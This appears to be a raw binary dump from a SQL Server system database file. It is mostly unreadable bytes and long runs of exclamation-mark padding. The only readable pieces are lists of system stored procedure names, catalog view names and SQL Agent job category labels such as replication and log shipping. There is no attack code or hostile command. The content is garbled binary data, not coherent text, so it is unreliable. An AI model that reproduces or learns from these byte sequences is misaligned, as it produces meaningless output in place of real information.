!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x
N.	R4b	 pLj	6lF0
z	&P
`P
"(\Fq:F&<8z@queue_messages_2041058307&y2ServiceBrokerQueue&gw&sp_add_proxy&֌ >sp_add_targetservergroup&g]$Bsp_add_targetsvrgrp_member&9',sp_add_category&>0.sp_add_jobserver&`d8,sp_add_schedule&S@<sp_add_jobstep_internal&@*sp_add_jobstep&TȚH2sp_add_jobschedule&SN"sp_add_job&rU<sp_apply_job_to_targets&tOg"sp_addtask&i8sp_add_alert_internal&Xj&sp_add_alert&<qn,sp_add_operator&nmu4sp_add_notification&b<queue_messages_91147370&6<sp_add_maintenance_plan&7L7Bsp_add_maintenance_plan_db&9Dsp_add_maintenance_plan_job& 
K*restorehistory&VM$restorefile&O.restorefilegroup&7\Nsp_add_log_shipping_monitor_jobs&+]Dsp_add_log_shipping_primary&^Hsp_add_log_shipping_secondary&I6sp_addqueued_artinfo&]:sp_addpullsubscription&r&sp_addserver&.sp_addscriptexec&!SCHEMATA&0+8,ROUTINE_COLUMNS&CBsp_addpublication_snapshot&5Zsp_add_log_shipping_secondary_database&w6sp_addlinkedsrvlogin&ERsp_add_log_file_recover_suspect_db&".@sp_adddynamicsnapshot_job&BLsp_AddFunctionalUnitToComponent&Z2sp_addsubscription&W%<sp_addmergesubscription&us8sp_adddatatypemapping&VJ:sp_addextendedproperty&$,sp_addumpdevice&Y2sp_addextendedproc&_(sp_addapprole&c6sp_add_agent_profile&t(sp_addarticle&,sp_altermessage&ROUTINES&2sp_approlepassword&!0sp_addpublication&18sp_addtabletocontents&_:sp_addmergepublication&Psp_addmergepushsubscription_agent&a`"sp_adduser&0securable_classes&4sp_addsrvrolemember&B.sp_addrolemember&;Fsp_addpushsubscription_agent&0sp_addremotelogin&{5
.sp_addsubscriber&Hsp_add_log_shipping_alert_job&Hsp_addmergealternatepublisher&="sp_addrole&'(K2sp_addlinkedserver&P<REFERENTIAL_CONSTRAINTS&Fsp_addpullsubscription_agent&D2sp_addmergearticle&~a6sp_adddistributiondb& 8sp_article_validation&> SEQUENCES&V2sp_addsynctriggers&$Psp_addmergepullsubscription_agent&Xsp_add_log_shipping_secondary_primary&W.*sp_adddatatype&NJ4sp_addqreader_agent&.sp_articlecolumn&o8sp_addlogreader_agent&@sp_addsubscriber_schedule&%Tsp_add_data_file_recover_suspect_db&E0sp_addmergefilter&tľ$sp_addlogin&7r0sp_adddistributor&$M4sp_adddistpublisher&QVV(sp_addmessage&
YXsp_add_log_shipping_primary_secondary&>"sp_addtype&TLsp_adjustpublisheridentityrange&iVsp_add_log_shipping_primary_database&:sp_addsynctriggerscore&Ɣ6sp_addmergepartition&F:sp_add_agent_parameter&Dsp_addmergepullsubscription&t:sp_addmergelogsettings& sequences&Fregistered_search_properties&Nregistered_search_property_lists&6service_queue_usages&3routes&4<remote_service_bindings&C<service_contract_usages&Dservices&ELservice_contract_message_usages&F0service_contracts&G8service_message_types&Wschemas&[*service_queues&^resource_governor_resource_pool_affinity&Rserver_audit_specification_details&Dserver_audit_specifications&2server_file_audits&(server_audits&Fserver_principal_credentials&Nresource_governor_resource_pools&Presource_governor_workload_groups&Lresource_governor_configuration&8server_event_sessions&Fserver_event_session_targets&Dserver_event_session_fields&Dserver_event_session_events&Fserver_event_session_actions&<server_assembly_modules&2server_sql_modules&8server_trigger_events&,server_triggers&(server_events&Bserver_event_notifications&>service_broker_endpoints&*soap_endpoints&#(remote_logins&$servers&%2server_permissions&&4server_role_members&'0server_principalsscription_agent&D2sp_addmergearticle&~a6sp_adddistributiondb& 8sp_article_validation&> SEQUENCES&V2sp_addsynctriggers&$Psp_a>

"	V4B
j
(^6&	n
"		ZLT	p
$
6tLxnNp
:dtxNL
4hV,d2t6|D0Jv::

 bRT`"
?<=p
B[Uncategorized (Local)]p
.Jobs from MSXp
P[Uncategorized (Multi-Server)]p
<Database Maintenancep
&Full-Textp
,Log Shippingp
PDatabase Engine Tuning Advisorp
0Data Collectorp
b2[Uncategorized]p
c2[Uncategorized]p

6REPL-Distributionp
FREPL-Distribution Cleanupp
<REPL-History Cleanupp

0REPL-LogReaderp
(REPL-Mergep
.REPL-Snapshotp
,REPL-Checkupp
FREPL-Subscription Cleanupp
:REPL-Alert Responsep
4REPL-QueueReaderp
*Replication!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t>b>J``
Z&	.k*^8!!!!`6uP..<kn)~6clst6*BKiNPK__sysmail___78E6FD33C37F36006NjPK_sysutility_ucp_policy_violations_internal6<D_WA_Sys_00000004_0000003C!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!